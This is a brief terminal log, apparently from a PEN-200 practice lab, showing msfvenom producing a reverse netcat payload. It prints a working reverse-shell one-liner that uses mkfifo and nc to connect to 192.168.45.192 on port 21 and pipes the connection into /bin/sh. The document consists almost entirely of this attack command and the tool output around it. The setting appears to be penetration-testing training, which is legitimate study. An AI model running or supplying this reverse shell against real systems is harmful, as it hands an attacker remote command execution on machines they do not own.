msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/pebbles]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=$tun0 LPORT=21
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 90 bytes
mkfifo /tmp/datj; nc 192.168.45.192 21 0</tmp/datj | /bin/sh >/tmp/datj 2>&1; rm /tmp/datj
msfvenom generated a reverse shell command